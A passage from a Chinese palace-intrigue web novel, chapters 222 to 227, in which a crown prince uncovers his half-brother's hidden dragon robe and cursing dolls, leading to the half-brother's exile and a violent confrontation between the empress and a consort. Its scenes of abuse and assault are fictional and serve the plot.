“做了五年宫婢,一朝飞上枝头,就不会伺候人了?呵,真当自己是太子妃了。”
“有些人啊,**贱命……”
“妾就是妾,犹如一只丑陋的麻雀,飞上枝头,若不安分,迟早摔死。”
凝玉公主骂人的时候,看着徐慧珠,等同于指名道姓。
元乐长公主的美妙心情被凝玉公主惊扰,心下决定,再管一回破事。
听说皇上回绝了仓国国君的联姻请求,她得劝说皇上,不如把凝玉公主这颗毒瘤送给仓国国君,凭凝玉公主疯癫的劲头,定折腾的仓国后宫永无宁日。
眼不见心不烦。
也算,帮姜夜沉和徐慧珠一回。
人家蜜里调油的夫妻生活,日日一根搅屎棍杵在那儿。
理吧,恶心。
不理吧,膈应。
不如一劳永逸,来得痛快。
当然,凝玉公主就是那根臭气熏天的搅屎棍。
元乐长公主何等聪慧,岂会没发现徐慧珠和暮歌之间的眉眼官司,她倒是想看看她们在谋算什么,也好奇徐慧珠会如何对付难缠的凝玉公主。
总归,元乐长公主淡定地欣赏年轻人演戏。
“凝玉公主在辱骂臣妇?还是辱骂贵妃娘娘?”
想让她一人承受凝玉公主的羞辱,怎么可能?
顺道,转移厉贵妃的注意力,好方便暮歌成事。
“说到妾,今日在场贵人之中,唯有臣妇和贵妃为妾啊。”
徐慧珠一副替厉贵妃鸣不平的模样,“回禀贵妃娘娘,您瞧瞧,凝玉公主又又又骂您。”
“唉……”
“贵妃娘娘,您受委屈了,臣妇心疼您啊。”
第222章:请公主指名道姓骂人
厉贵妃的脸色格外难看。
她是皇上亲册的贵妃,在后宫仅屈于皇后娘娘,她平生最痛恨谁提说她的妾室身份,就算是妾,她也是皇上的妾,能一样吗?
可,厉贵妃又不得不承认,妾室的身份,阻挡了她和大皇子。
比容貌,她比皇后娘娘美艳。
比性情,她比皇后娘娘温婉。
比才情才智,她远甩皇后娘娘几条街。
比儿子,皇后娘娘生育的太子,是无能无用无品无德的废物。她教导的大皇子李明远,低调内敛、才华横溢、翩翩公子......像极皇上。
她输在哪里?
输在身份上,就因为她是妾。
她的儿子,出生后的标签便是庶皇长子,穷尽心力,至今未能将太子赶出东宫。
“徐慧珠,你什么意思?本宫骂的是你。”
凝玉公主难得聪明一回,倒是识破徐慧珠这招简单的挑拨离间之计。
“徐夫人,你瞧,凝玉公主也说了,她骂的是你。”
“不知,你扯上本宫,是何居心?”
“徐夫人仗着将军的势,便不将本宫放在眼里,堂而皇之给本宫难堪吗?”
“徐夫人最好给本宫一个合理的解释,不然,一同去面见皇上,好好分说。”
元乐长公主嗤笑道,“贵妃是三岁稚童不成,芝麻绿豆大的事情就找皇兄告状?”
“皇兄日理万机,贵妃你身为皇兄的嫔妃,平日里就是这般体贴入微的?”
“听说皇兄下旨由贵妃和太子妃一同处置宫务,那贵妃管理宫务这么久,一丁点儿长进都没有?贵妃莫不是也要做‘草包美人’?”
徐慧珠能屈能伸,当即跪下请罪,“贵妃娘娘息怒,都怪臣妾操心太过,会错意了。”
“请贵妃娘娘看在臣妾一片真心的份上,宽恕臣妾吧。”
又说,“凝玉公主,请您下回骂人,指名道姓,免得生出误会。”
这时,太子妃身边的阿喜满身狼狈冲到女宾席,“救命啊。”
“救……救救太子妃。”
厉贵妃眼前发黑,她不该忽视心里的预感到果然出事了。
难道?
难道太子又醉酒殴打太子妃?打**人?
不管怎样?太子妃若是死在大皇子府,晦气。
“大胆贱婢,你不在太子妃身边伺候,胡嚷嚷什么?还不滚下去。”
厉贵妃下意识出声训斥,不管发生何事,最好悄无声息处置。
“来人,抓住这个贱婢,送到客院,请太子妃好生管教。”
阿喜不管不顾,一边乱窜一边高喊,“救救太子妃。”
“太子妃要**,呜呜呜。”
阿喜跪在元乐长公主面前,一个劲儿地磕头,不一会儿功夫,额头鲜血淋淋。
“长公主殿下救救可怜的太子妃吧,太子妃……真的……真的会死啊。”
“长公主殿下?”徐慧珠满眼希冀看向元乐长公主。
“元乐长公主殿下,贱婢胡言乱语不可信,太子妃奉皇后娘娘懿旨去客院照顾醉酒的太医,能有什么事情?难道有人害太子妃不成?”
厉贵妃阻止,只是单纯地不想大皇子李明远的生辰宴被搞坏,便是太子当真犯浑,又殴打太子妃,就不能悄悄禀报皇后娘娘,请皇后娘娘管好她的好大儿。
再说,太子妃也不懂事,不能忍一忍吗?非得闹到人尽皆知的地步?动摇大皇子李明远的心?
“这样吧,元乐长公主殿下若不放心,本宫走一趟去看看发生何事,也许是人家夫妻拌嘴这等琐事儿呢。”
“元乐长公主殿下,你说,是不是这个理儿?”
元乐长公主深深地看了徐慧珠一眼,起身说道,“慧珠,你陪本宫去客院瞧瞧太子又在发什么疯?”
“是,长公主殿下,臣妾扶着您。”徐慧珠心下稍安,她这回赌对了。
“阿喜,你磕头磕傻了吧,还不赶紧起身,一边前面带路一边禀报事情经过。”
“是是是。”阿喜从地上爬起来,语气激动,“太好了,太子妃能活了,呜呜呜。”
元乐长公主又说,“钱悠悠,你且跟着,本宫和一众贵人的安危
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就交给你了。路上遇见不长眼的,不必废话,直接动手,打伤打残,谁敢找事,来寻本宫。”
“钱悠悠领命。”钱悠悠的手已放在腰间的宝剑上,一副时刻准备着上战场的架势。
钱悠悠是走了狗屎运得元乐长公主夸赞,但京城贵女,娇艳柔弱、温婉端庄,一颦一笑矜持高贵,哪能像钱悠悠这般出门挂一把宝剑于腰间,给人凶悍不好惹的印象。
贵夫人们当即歇了与丞相府结亲的心思,哪个当母亲的不心疼自家儿子?
若真求娶钱悠悠,小夫妻拌嘴吵架事小,就怕一言不合钱悠悠打伤打残自家儿子,到哪说理去。
正摩拳擦掌,着急表现的钱悠悠还不知道,她已被贵夫人默契地划去名字,悄然失去当儿媳妇的资格。
唯有桑氏心里叹息一声,她的一双儿女,懂事优秀,唯有婚事让她操碎心,都说要建功立业再成小家。
“皇嫂,劳烦你去跟皇后说一声,就说太子发酒疯,她这个当母后的得管上一管。”
元乐长公主一行人浩浩荡荡离去,留下厉贵妃和不到半数贵人,大家你看我,我看你。
最后,目光都集中到厉贵妃身上。
她们是跟上去瞧瞧?还是留下干等?
“贵妃娘娘,这?”
厉贵妃坐着难受,跟上去又觉得丢大脸,一时进退两难,只好端起茶盏掩饰尴尬和烦闷。
她哪里坐得住,“本宫也去瞧瞧。”
“本宫要当面问一句太子,他是多不待见兄长,难得一回生辰宴非得破坏才舒坦。”
只是,厉贵妃走岔了道。
……
襄王妃刚走到男宾席,还没来得及求见皇后娘娘,瞧见戴鬼面具的曹文向皇上禀报什么,皇上天色大变,冲皇后娘娘吼一句“太子好得很”,转身离开。
皇后娘娘不明所以,赶忙起身追上去。
两方赶到主院时,便听见太子的狂笑声。
“哈哈哈……”
“老天也帮孤啊。”
“李明远,你大逆不道,哈哈哈,你死定了!”
第223章:致死的秘密
太子怀里抱着一套龙袍,地上散落几十只染血的布偶小人。
每一个小人上贴着一张带符咒的纸,上面用朱砂写着人名和生辰八字。
李大监脸色大变,转身挡在门口,就算他身材肥胖,也挡不住已曝光在阳光下的真相。
“皇上口谕,皇族宗室、护龙卫、锦衣卫留下,其余人等速离王府。”
话音落下,锦衣卫和护龙卫便将主院团团围住,完全遮挡住院内的一切。
突然,一双大手拽住徐慧珠,“站到为夫身旁。”
徐慧珠立即躲在姜夜沉身后。
“说!”
“到底怎么回事?”
皇上震怒。
这回,太子的理智前所未有清明。
太子噗通跪在地上,高高举起龙袍,语气激动,“父皇,儿臣……儿臣撞破天大的秘密。”
“李明远……李明远他在主院修建密室,藏匿龙袍,还……还诅咒好多人。”
“父皇,是儿臣发现的。”
此时此刻,太子一副求表扬的贱样。
皇上身形一顿,他转身看向大皇子李明远,目色痛苦,“李明远,你还有什么话说?”
“你说,太子所言,是真的吗?”
曹文手里的剑,架在大皇子李明远的脖子上。
还用问吗?
还用回答吗?
元乐长公主走上前握住皇上的手,给予力气,“皇兄,保重龙体。”
“太子妃,你说,到底发生了什么?”元乐长公主看向伤得不算轻的暮歌,“太子应该醉酒在客院休息,为何人在大皇子的主院?”
“说!”
太子妃娇美的脸上布满伤痕泪痕,一双眼睛明亮透着坚定。
“回禀皇上、长公主殿下,母后命臣妾去客院照顾醉酒的太子殿下,可臣妾事前喝了几杯果酿,有些不胜酒力,徐夫人好心让金夏和阿喜陪着我。”
“臣妾在半路上遇到太子殿下殿下,不知为何,太子非要闹着去大皇子的主院休息。太子殿下说,他是东宫储君,客院不配他的高贵身份,他要治大皇子一个怠慢无礼之罪。”
“臣妾……拼力相劝,奈何太子殿下听不进去半句,拽着臣妾的胳膊直奔主院。原来……原来太子殿下并不是想在大皇子主院休息,而是要……要殴打臣妾泄愤。”
“太子殿下说,在大皇子主院殴打臣妾,才更刺激。”
“万幸金夏会武功,才护着臣妾,没被太子殿下活生生打死。”
暮歌抬起左手,十根手指的骨头尽断,被太子粗暴捏断的。
“太子殿下打不着臣妾,不知为何,突然情绪失控,他暴力砸毁主屋的一切。”
“太子殿下操起椅子砸臣妾,金夏拉着臣妾跑开,椅子砸在墙壁,好像触动了机关,就出现一间密室……”
一切都是意外?
也许,是天意。
也就是说,大皇子李明远的密室里放着龙袍和一面铜镜,他在无数个夜深人静之时,一个人藏在密室里,穿上龙袍,对镜自赏。
然后,大皇子李明远又轻信诅咒的力量,妄想通过诅咒消灭他的敌人,或不顺从他的人。
一个变态的家伙穿着龙袍,一边对镜自赏一边扎布偶小人。
在徐慧珠经历的第一世,大皇子李明远几乎每夜花费一个时辰重复做这些事情。
“皇上,个中细节还需调查,臣以为先将大皇子殿下禁足于王府,由护龙卫和锦衣卫看守,待真相查明,皇上您再做处置。”
此时,唯有姜夜沉敢开口相劝,打破这尴尬的僵局。
还有另一个人,是元乐长公主。
“皇兄,此事就交给姜夜沉和曹文,皇妹先陪您回宫。”
元乐长公主上前,握住皇上的手,给予力量。
皇上摇了摇头。
皇上如何看不出来,今日是一个局,也许两个局……
两个儿子要当着父亲的面,相互残杀,身为父亲阻止这一次,下回呢?下下回呢?
那就借此机会,看一看两个儿子的战斗力。
元乐长公主很快明白皇上的意思,便不再说话,默默站在皇上身边。
太子这会儿醉意消散,大脑头一回清醒着高速运转,他万般不解,他发现大皇子李明远谋权的铁证,还有什么可调查的?
唯有一种解释,皇上在拖延时间,命令姜夜沉和曹文联手救大皇子李明远。
怎么救?
自然是
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毁灭铁证,再制造新的证据,不,是**。
皇上这是要强行将大皇子李明远身上的“黑”,一点一点洗白。
这说明什么?
说明皇上不仅仅单纯地要护住大皇子李明远的性命,而是?
难道?
难道皇上心底属意的储君,从来都是大皇子李明远?
他呢?
他暂且占着储君位置,皇上的深意是让朝臣和百姓睁大眼睛看清楚,以他的才能,不配为储君。
“父皇?”
太子腾出一只手捡起两只布偶小人,上面写着他和皇后娘娘的姓名、生辰八字。
“父皇,儿臣状告大皇子李明远私藏龙袍,意图谋反,儿臣误闯密室发现的龙袍,乃铁证之一。
“儿臣还要状告大皇子李明远施诅咒禁术,诅咒儿臣、母后等二十人,地上的布偶小人乃铁证之二。”
“父皇,儿臣求您当下审理。”
皇上一记冷眼扫过去,“太子,你在逼迫本皇?”
“不,皇上,太子孝顺,哪敢逼迫您。太子性命受威胁,但太子更心疼他的父皇啊。”皇后娘娘眼神狂跳,她用力掐着胳膊。
老天还是站在嫡出正统这一方,大皇子李明远终究是太子的垫脚石,而她,也会将厉贵妃彻底踩在脚下。
“皇上,大皇子李明远大逆不道,其心当诛……”
“不不不,皇上,明远冤枉啊。”厉贵妃去了一趟客院,路上耽搁些时间。
当厉贵妃看到暴露人前的密室,太子手里的龙袍,还有地上散落的布偶小人,满眼震惊之后,她还有什么不明白的。
她生的儿子不光优秀,胆子更大破了天。
直到厉贵妃出现,大皇子李明远浮现一抹慌乱,知子莫若母,厉贵妃当即明了,这是一个死局。
死局之下,她要为大皇子李明远博出一线生机,闯出一条活路。
“母妃?”
“明远,闭嘴!”厉贵妃不给大皇子李明远说话的机会。
事已至此,大皇子李明远解释已无用,说什么都是错。
那么,由她来说。
“皇后娘娘,太子,你……你们就这么容不下明远?非得置他死地才罢休?”
第224章:贵妃娘娘的反扑
厉贵妃突然拔下金簪,抵在自己的脖颈,心碎又深情地望着皇上。
“皇上,今日是明远的生辰宴,皇上圣驾临大皇子府,臣妾……臣妾心中好欢喜好感动。”
“臣妾觉得,往日光景里,皇后娘娘对臣妾百般折辱,太子对明远千般打压,臣妾和明远忍的值得。因为,皇上心里爱着臣妾,亦知晓明远的委屈……”
皇后娘娘平日里最见不惯厉贵妃这一副矫揉造作的狐媚子样,现下在说大皇子李明远私藏龙袍,行诅咒禁术,厉贵妃却妄想强行岔开话题,跟皇上诉旧情说委屈。
她不能让厉贵妃得逞。
皇上那人心硬也软。
“厉贵妃!”
皇后娘娘质问,“厉贵妃左右而言他,是何意?”
“厉贵妃,你待会儿该不会说,密室里的龙袍是大皇子夜夜穿针引线绣制,欲献给皇上,好彰显大皇子的一片孝心?”
“还是说,这满地浸泡腥血,写着人名生辰八字的布偶小人,大皇子不是行诅咒禁术,而是大皇子一片热诚之心,夜夜在密室里为二十多人祈福,愿这些人长命百岁、洪福齐天?”
徐慧珠往姜夜沉身后隐匿半边身子,她忍的好用力,只能保证不笑出声,但嘴角上扬如何也藏不住。
这个场合,她不能情绪放肆。
可,皇后娘娘那张嘴啊,实属厉害,想象力也是出奇的清新脱俗。
果然,皇后娘娘和太子这一对母子是人才,也是毒蛇。
给他们搭建一个舞台,定会唱出一场精彩绝伦的大戏。
给他们创造一次机会,定会如野狼死死咬住敌人的脖子,直到敌人断了气息才罢休。
皇后娘娘从太子手里拿过写着她名字和生辰八字的布偶小人,气到手指颤抖,声音更添怒意。
“大皇子对本宫这个嫡母,当真是孝顺。呵,孝顺到夜夜诅咒本宫早死,好给厉贵妃腾位置吧。”
厉贵妃还未说完的话堵在喉咙里,吐不出来,也咽不下去。
“皇上……”
厉贵妃自知,此刻不能招惹皇后娘娘。
“皇上,求您听臣妾把话说完。”
皇后娘娘接话更快,“本宫生平第一回见识,**凶手的狂妄。”
“厉贵妃,你说,你以死威胁谁?皇上吗?”
“不过,你舍得死吗?”
厉贵妃的手,抖了又抖,几乎攥不住金簪。
她何尝不知,皇后娘娘巴不得她死。
她**,皇后娘娘能在君后殿大笑三日。
其实,皇后娘娘也戳中厉贵妃的心思,她不想死,她还想……垂死挣扎。
她和皇后娘娘争斗那么多年,怎么能输?
她陪伴皇上那么久的时光,皇上当真不念旧情吗?
“姜夜沉,你身为锦衣卫统领,**,该当何罪?”
皇后娘娘一时得意,就忘了形。
皇后娘娘抬眼瞧见站在皇上身后的姜夜沉,太子跪着,姜夜沉站着,凭什么?
“请皇后娘娘示下。”姜夜沉不卑不亢答道。
他甚至敢不跪?
“厉贵妃手持凶器,若伤着皇上……此罪此责,姜夜沉,你可承担?”
“臣听令于皇上,让皇后娘娘忧心,是臣的不是。”姜夜沉不惯着皇后娘娘,三言两语怼回去,当众告诉皇后娘娘,找茬无效无用。
“姜夜沉,你?”皇后娘娘还想说什么,皇上怒道,“够了。”
皇上如今上了年岁,甚少骂人,包括骂女人。
年轻时,皇上常骂皇后娘娘是疯狗,那种见人就撕咬的疯狗。
当然,皇上每回跑到君后殿,先命人关闭殿门,遣散宫人,再足足痛骂皇后娘娘一顿。
这么多年,皇后娘娘只长皱纹,不长脑子,不管谁扔给她一根骨头,她就会扑上去。
她的一双儿女亦随了她。
皇后娘娘小声嘟囔,“本宫说错什么了?”
皇上懒得理会皇后娘娘,从厉贵妃刚刚瞧见龙袍和布偶小人的神色可以看出,她并不知情。
看来,大皇子李明远连厉贵妃也瞒着。
“贵妃,你先放下金簪,莫伤着自己。”
“本皇有话问李明远。”
厉贵妃侍奉皇上二十多年,她不曾看透枕边人,却也了解两三
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分。
“不!”
“皇上……”
“臣妾好想长长久久陪伴在皇上身侧啊,可,皇后娘娘视臣妾为眼中钉肉中刺,臣妾活不下去了。”
“不是臣妾让皇上难堪,是他们......他们要活生生逼死臣妾和明远啊,呜呜呜.......”
厉贵妃这是正面迎击,当皇上的面。
“厉贵妃,你胡言乱语什么?”
“你把所有人当傻子愚弄?还是当大家眼瞎?”
“明明是大皇子大逆不道,早生谋权篡位的狼子野心,铁证面前,任凭你这朵黑芝麻馅儿的白莲花巧舌如簧,也是无用。”
“本宫就不信,没有天道王法了,哼。”
皇后娘娘这一激动,不仅咄咄逼人,连带着皇上也骂了。
其实,皇后娘娘和太子什么都不说,太子上交证据,皇后娘娘紧闭嘴巴,才是稳赢。
皇上也是态度奇怪,竟任由她们撕扯。
“敢问太子,皇上曾下旨,禁止太子饮酒,但太子屡次欺君抗旨,难道不是皇后娘娘为太子打掩护?这回太子醉酒,为何偏偏挑在大皇子生辰宴上?”
“便是太子醉酒,自有宫人侍奉于客院小歇,太子为何非得强占大皇子主院?”
“太子先前参加过朝臣府上的宴会,从未发生过大闹主院的荒唐事?太子参加宫宴时,更没有过闯入君皇殿的先例?”
“为何偏偏是大皇子?”
“太子是真醉?还是借醉酒行见不得人的事?”
“皇后娘娘要对付臣妾,太子欲除掉大皇子,还真是煞费苦心啊。”
说来,厉贵妃一连串质问太子的灵感,还是皇后娘娘刚给的。
皇后娘娘都能胡说,她为何不能?
厉贵妃何尝不知,皇上已明了真相,但她不能眼睁睁看着亲生儿子**。
“皇上,臣妾……臣妾怀疑这一切乃是皇后娘娘和太子设下的局。”
“皇后娘娘容不下臣妾,太子嫉妒大皇子才能,这就是皇后娘娘和太子不惜设局除掉大皇子的动机。”
事情似乎迎来新的反转......
第225章:将军也被诅咒了
有人信了厉贵妃的说法,皇后娘娘和厉贵妃面上不和,争斗不断,是事实。太子才智庸常,品德欠佳,反观大皇子低调内敛,在朝臣和民间享有盛名,也是事实。
有人信,自然也有人听出厉贵妃话里的漏洞,太子在接连失去幕僚殷重先生、外祖闵国公府、华山王和谨郡王后,犹如人被断掉四肢,太子的手还能伸进大皇子府吗?
皇后娘娘人在深宫,手更伸不到大皇子府,不然,这些年,她这个执掌凤印的皇后娘娘能被厉贵妃压制得喘不过气?
前不久,皇后娘娘更是失去一半宫权呢。
这不,姜夜沉只得好心提醒,“皇上,如今皇后娘娘、太子殿下与贵妃娘娘各执一词,大皇子殿下不言语半句。”
“臣以为此事透着蹊跷,请皇上允臣两日时间,臣定命锦衣卫里里外外查清,此处密室及证据,是大皇子殿下所为?还是皇后娘娘和太子殿下能操控大皇子府,设下置大皇子殿下死地的局?”
姜夜沉两不相帮,却都得罪的彻底。
这样的场合,徐慧珠哪有资格开口,托姜夜沉的福,仗姜夜沉的势,她才能留下赏戏。
果然,年轻人脑子反应更快。
太子梗着脖子吼叫,“大皇子府跟铁桶似的,孤可没能耐在大皇子府安插人。”
“厉贵妃你血口喷人,满口谎言,小心嘴巴生疮,烂舌根。”
皇上:……
太子不如明说,当众承认自己蠢,能力不足,本事不够。
其实,太子没好意思承认,他屡次在大皇子府安插人,都是有去无回。
“父皇明鉴,今日之事,当真是儿臣意外发现。”
“父皇,儿臣敢以性命起誓。”
太子难得占理一回,说话理直气壮。
“厉贵妃,人在做天在看,本宫和太子敢发毒誓,你和大皇子敢吗?”
“厉贵妃,你为何不让大皇子说话?”
所以,真相到底是什么?不怎么重要。
谁敢发毒誓?谁赢?
皇后娘娘眼尖,刚好看到一只布偶小人,上面写着姜夜沉的名字。
“姜夜沉,你还在为他们开脱?你也被诅咒了。”
皇后娘娘眼里的幸灾乐祸,都不屑遮掩,在她看来,姜夜沉活该被诅咒。
虽然暮歌奉她之命,交好徐慧珠,意图拉拢姜夜沉。
但,随着徐念念嫁给钱无双,将军府和丞相府结亲,而丞相府又是大皇子李明远的外祖,皇后娘娘便觉得姜夜沉和大皇子李明远可能私下早有勾结。
似乎是为了验证皇后娘娘心里的猜测,事实摆在面前,可,姜夜沉向皇上进言,由锦衣卫调查?
查什么?
还用得着查吗?
这回,太子没顺着皇后娘娘的话,嘲讽姜夜沉几句。
太子的思绪还沉浸在厉贵妃质问的那句“太子为何偏偏要强占大皇子的主院?”
太子记得当时在席面上,他发现大皇子李明远和暮歌眉来眼去,他喝了点酒酿,在酒酿的刺激下,生出邪念。
只是,邪念并不强烈。
但,太子在路上偷听暮歌和宫女阿喜的一段对话。
“太子妃?”阿喜轻声唤道,“大皇子殿下说想见您一面,您真的要赴约吗?万一被皇后娘娘或太子发现……”
“阿喜,我说过私下里别叫我‘太子妃’,我听着犯恶心。”暮歌以锦帕捂住嘴巴,胃里一阵翻江倒海。
“好好好,暮歌姑娘,是奴婢错了。”阿喜赶忙从荷包里取出一颗薄荷糖,“暮歌姑娘,您口中含一颗薄荷糖,就能压制住恶心感。”
薄荷糖清甜凉爽,可暮歌的心,酸涩的难受。
“阿喜,你说,如果我去求皇上,允我和太子和离……”
太子只觉得一股邪火将他整个人点燃,他置身于烈火里,却看见暮歌和大皇子李明远那一对贱男贱女依偎在一起,冲他笑的得意。
“**!”
“孤今日便让你尝尝求生不得求死不能的痛苦,不不不,怎能是痛苦呢,对孤来说,是欲仙欲死的快活。”
太子一脸狞笑如恶狼降临,先是一脚踢开阿喜,接着一把抓住暮歌的头发,粗暴地拖着暮歌直闯主院。
那一刻,太子兴奋到癫狂,血液将炸裂的冲动,他要在大皇子李明远主院的床榻上酣畅淋漓地殴打暮歌,然后一边欣赏她的绝望,一边强了她。
呵!暮歌那个**已是他的太子妃,
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竟千方百计躲避他,为大皇子李明远守身如玉,更妄想和离?
岂有此理。
被盛怒和激动情绪笼罩的太子,没发觉他一路畅通横闯主院,连个奴才、护卫不曾碰上。太子如何想不到,这一回,暗里助他一臂之力的人,会是姜夜沉。
太子的神色变化没逃过徐慧珠的眼睛,她万分确信,太子会隐瞒这一段。
因为,太子说出来,于他无半点好处,莫说引来嗤笑,以厉贵妃和大皇子李明远的阴险奸诈,定会诬陷他设局报私仇。
他没设局,这个黑锅,绝不能背。
他好不容易盼来良机,连上苍都在帮他,今日,便是大皇子李明远的死期。
太子和皇后娘娘私下复牌,东宫势力接二连三遭受重创,最后得益之人肯定是大皇子李明远,而姜夜沉像疯狗似的到处撕咬,大皇子李明远与姜夜沉表面关系冷淡,实则是大皇子李明远故意摆出来的障眼法,迷惑他们的双目,影响他们的判断。
只是,太子看着皇后娘娘手里的布偶小人,忍不住困惑:大皇子李明远为何诅咒姜夜沉?
难道?
难道和他一样,纯粹地妒恨姜夜沉,心里有一个声音在冲自己狂吼:杀死姜夜沉
这一刻,太子异常冷静,“厉贵妃,你......没资格质问孤。”
又说,“父皇?”
“儿臣要状告大皇子李明远生谋反之心,行篡位之事,父皇若听信厉贵妃胡搅蛮缠,执意包庇大皇子李明远。”
“儿臣无话可说。”
太子吐出一口怨气,终是觉得自己能够在皇上面前挺起腰杆,说话硬气一回。
“但,儿臣拼着储君之位不保,也会向朝臣和百姓公布大皇子李明远的罪行。父皇是废儿臣这个太子?还是父皇为一个儿子杀另一个儿子?”
“全在父皇一念之间。”
皇后娘娘没想到太子会说出这一番忤逆的话,着实让她心惊胆颤。
为人子,怎可要挟父亲?
身为太子,在皇上面前仍是臣,怎能威胁君王?
“太子!”皇后娘娘不忘将手里的布偶小人扔给姜夜沉,“好好想一想,姜夜沉,你会是什么样的下场?”
第226章:风情万种,皆为笑话
“臣感激皇后娘娘的关心。”
姜夜沉接过浸血的布偶小人,拿在手里,仔细查看。
皇后娘娘走向太子,啪啪连扇,“太子,说什么浑话。”
又为太子找补,“皇上,太子......太子他是太过气愤、伤心,您知道的,太子心里敬着您爱着您。”
皇上冷眼看一群人上蹿下跳,像戏子一样在台上尽展本事,却是置对方死地的本事。
她们是他的枕边人。
他们是他的亲子。
为了争夺黄金座,变得不似人、不似鬼,而是兽。
“李生德?”
“老奴在。”
皇上清冷的目光扫射而过,最后归为一声叹息,“李生德,笔墨伺候。”
“夜沉,你来撰写圣旨。”
“是,皇上。”姜夜沉上前,眼神坦荡无惧,动作熟练地压平卷锦,执笔落字,仿佛这样的活,他做过无数回。
第一道旨意:“大皇子李明远有负圣恩,册大皇子李明远为克王,三日之内前往封地云理,余生无诏不得回京。”
克王,意在提醒大皇子李明远克己守礼,谨言慎行。
云理,是南疆一座小城,土地贫瘠,人口不过五千,日后便是大皇子李明远的封地,也将是困住他一生的囚笼。
第二道旨意:“姜夜沉,查封大皇子府,调查事件始末,护送克王前往封地......皆由锦衣卫负责。”
这一局,皇后娘娘和太子大胜大赢,厉贵妃和大皇子一朝输掉所有。
太子还想说什么,被皇后娘娘眼疾手快一把拉住,知子莫若母,太子觉得皇上对大皇子李明远的惩罚,太轻。
以大皇子李明远犯下的滔天罪行,不该处死吗?
大皇子李明远都敢私藏龙袍,行诅咒禁术,皇上没要他的命,还册他王位,赐他封地?
太子不禁想,若私藏龙袍,行诅咒禁术的是他,皇上会放过他吗?
大皇子李明远瘫软在地,过了好一会儿,才向皇上跪行大礼,“儿臣......儿臣叩谢皇恩。”
他什么也没说。
他认罪了。
“此一别,相隔千山万岁,父皇,儿臣求父皇恩准,携母妃一同前往封地云理。”
皇后娘娘冷哼道,“怎么,克王还不死心?”
“皇上对你已是仁慈至极,克王还妄想什么?带走厉贵妃,然后在封地韬光养晦,五年,十年......再风光回京,大逆不道一回?”
莫说皇上会心软同意,皇后娘娘绝对阻止。
她和厉贵妃争斗半生,这回才是真正分出胜负高下。如今厉贵妃失势,没了大皇子李明远这个优秀的儿子,厉贵妃就跟剃**的狐狸一般,风情万种,皆为笑话。
后宫将是她一人独秀。
皇后娘娘对上皇上冰冷的眸子,浑身一激灵,她又又又得意忘了形。
余下的话,皇后娘娘吞咽入腹。
“大将军曾去过云理,说是一座城,其实不必过京郊村落富裕......”
大皇子李明远还想说什么,却被皇上打断,“云理遥远,贵妃身子骨柔弱,哪受得了苦楚。”
姜夜沉淡定应道,“云理是一座怎样的城市?自然得您到云理之后,用眼睛去看,用心去感受,因为云理是您的封地,您终会热爱那片土地。”
“克王是真孝顺,还是做戏给旁人看?”皇后娘娘又插话,“皇上说得极是,厉贵妃前半生养尊处优,后半生怎能颠沛流离?”
“到时,百姓如何看待皇上?谣言皇上养不起嫔妃?冤枉本宫容不下后宫姐妹?”
“克王的心思,还是一如既往的缜密啊。”
不得不说,皇后娘娘的脑回路清奇,不管何事,到了她的嘴里,就染了色,变了味。
“李明远,本宫拒绝。”
“你......你太让本宫失望了,本宫不会再认你,本宫要留在皇上身边,长长久久陪伴皇上。本宫没了儿子,但本宫还有夫君。”
厉贵妃突然出声,眼里尽是决绝和冷漠。
夫君?
厉贵妃轻易就点燃皇后娘娘的怒火,啪啪,皇后娘娘手下动作快过理智,当即冲过去甩给厉贵妃两巴掌。
皇后娘娘俨然忘了,厉贵妃手里握着一把金簪,而厉贵妃在等待一个机会,一个拉皇后娘娘同坠地狱的良机。
这不,皇后娘娘主动送上门的良机,就来了。
“母妃?”
“不!”
大皇子李明远一句“
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母妃”刚冲破喉咙,已然迟了,厉贵妃握着金簪欲刺入皇后娘娘的胸口,却被皇后娘娘本能躲避,金簪刺入肩膀。
偏巧,厉贵妃娇小柔弱,她使出全部力气,只致伤,未致命。
“厉贵妃,你要杀本宫?”
“刺杀国母,你的贱命,够偿吗?”
皇后娘娘暴怒,对着厉贵妃好一通猛踢。
看来,太子体内的暴力因素,传承于皇后娘娘。
皇上不出声,无人敢动。
大皇子李明远想救,却无力,他的脖子上还架着一把剑。
“父皇,求您......求您给母妃最后一份体面吧。”
前一瞬,厉贵妃要和他割断母子情分。
原来,是为了拉皇后娘娘一起死。
大皇子李明远心虚地低下头,任泪水糊满脸颊,他不敢看厉贵妃的眼睛。
他知道,厉贵妃看透他的心思,不惜以死阻止。
皇上一个眼神过去,姜夜沉心领会神,闲杂人等早已被赶出主院,这活计自然就得姜夜沉亲力亲为。
“皇后娘娘,请脚下留情,您若是踢死贵妃娘娘,到时死无对证,是贵妃娘娘行刺于您?还是您杀了贵妃娘娘?”
“您说,皇上怎么主持公道?”
皇后娘娘已伸出去的脚,踢在姜夜沉身上。
姜夜沉如同石山,一动未动,受了皇后娘娘这一脚。
皇后娘娘也是狠人。
皇后娘娘拔出金簪,跪在皇上面前,凄声道,“皇上,厉贵妃刺杀臣妾,此凶器为证。”
“臣妾……臣妾请皇上秉公处置。”
暮歌顾不得浑身伤痛,急忙走向皇后娘娘,用锦帕捂住流血不止的伤口。
“母后,您保重身体要紧啊。”
这一幕灼伤大皇子李明远的眼,这一刻,他无比憎恨自己肮脏的心思,厉贵妃为了他,不惜逼死自己。
唯有厉贵妃,知他懂他。
“厉贵妃突患疯症,失手伤害皇后,虽情有可原,但罪不可恕,打入冷宫,由她自生、自灭。”
“皇后,你身子受伤,便好生在君后殿休养,宫务暂且交给太子妃处置。”
“另外,本皇不希望传出半句难听的话,皇后,你该明白本皇的意思。”
第227章:贵妃娘娘之死
皇后娘娘眼里的狂喜满溢,她拼力压制,仍情绪禁不住外泄。
“是,臣妾省的。”
李生德高喊“皇上回宫”,先前被皇后娘娘脚踹到短暂陷入昏迷的厉贵妃醒来,费力睁开眼睛,只看到一抹明黄身影。
皇上看似念及旧情饶过厉贵妃的性命,又无情地把人丢到冷宫,那一句“自生自灭”,便是给皇后娘娘的交待。
“皇……皇上?”
曹文和护龙卫护送皇上回宫,收尾这种苦活累活,向来都是姜夜沉在做。
他也做习惯了。
大皇子李明远脖子上没了利剑威胁,可他双腿发软,只能跪着爬到厉贵妃面前,将厉贵妃抱在怀里。
他没有锦帕,只得撕扯一块衣袍布料,为厉贵妃擦拭嘴角流不止的鲜血。
“母……母妃?”
皇后娘娘踢了很多脚,对着厉贵妃的小腹位置一下又一下,每一回用尽力气。
大皇子李明远这一抱,痛的厉贵妃眼前一阵阵发黑。
太痛了,痛到窒息如潮水淹没了她。
“明远,母妃……母妃没让你如愿,你……你恨母妃吗?”
